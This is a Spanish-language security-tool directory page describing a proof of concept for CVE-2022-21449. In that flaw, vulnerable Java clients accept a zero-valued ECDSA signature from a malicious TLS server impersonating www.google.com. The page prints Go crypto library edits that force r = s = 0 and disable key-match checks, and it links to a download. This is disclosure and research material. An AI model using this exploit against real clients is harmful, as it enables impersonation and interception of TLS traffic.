Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 Prueba de concepto que demuestra su uso con un cliente que ejecuta una versión vulnerable de Java y un servidor TLS malicioso | Kitploit
Herramientas/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebCriptografíaPruebas de Penetración
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 Prueba de concepto que demuestra su uso con un cliente que ejecuta una versión vulnerable de Java y un servidor TLS malicioso

Ver Repositorio
121242hace 5 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (también denominadas Psychic Signatures en el análisis de la vulnerabilidad realizado por Neil Madden) Prueba de concepto que demuestra su uso con un cliente vulnerable y un servidor TLS malicioso.

El servidor malicioso presenta una cadena de certificados válida (a fecha de 2022-04-20) para www.google.com, que tiene una clave pública ECDSA (secp256r1). Sin embargo, el paquete crypto/ecdsa ha sido modificado para presentar una firma no válida con r = s = 0. El cliente vulnerable acepta esta firma no válida, lo que permite que el resto del handshake TLS continúe.

Aparte de los archivos *_test.go eliminados durante la compilación y la exploración, estas modificaciones a la biblioteca criptográfica de golang fueron necesarias para el servidor TLS malicioso. También se pueden encontrar buscando o haciendo grep de CVE-2022-21449 en el directorio go/src.

Compilación

Requiere una instalación existente de golang, así como maven; a continuación, ejecute .

./build.sh

Probado en Ubuntu 20.04.4 LTS (WSL2) con OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Demo

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Modificaciones a la biblioteca criptográfica de golang

En crypto/ecdsa/ecdsa.go, la función signGeneric fue esencialmente modificada a:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

Y en crypto/tls/tls.go, la función X509KeyPair ha sido modificada para deshabilitar las comprobaciones de verificación de que una clave privada determinada coincide con la clave pública del certificado X.509 para claves públicas ECDSA:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Créditos

  • Neil Madden: por descubrir y divulgar CVE-2022-21449, como se detalla en su excelente análisis.
  • Khaled Nassar: Este PoC.
Descargar herramienta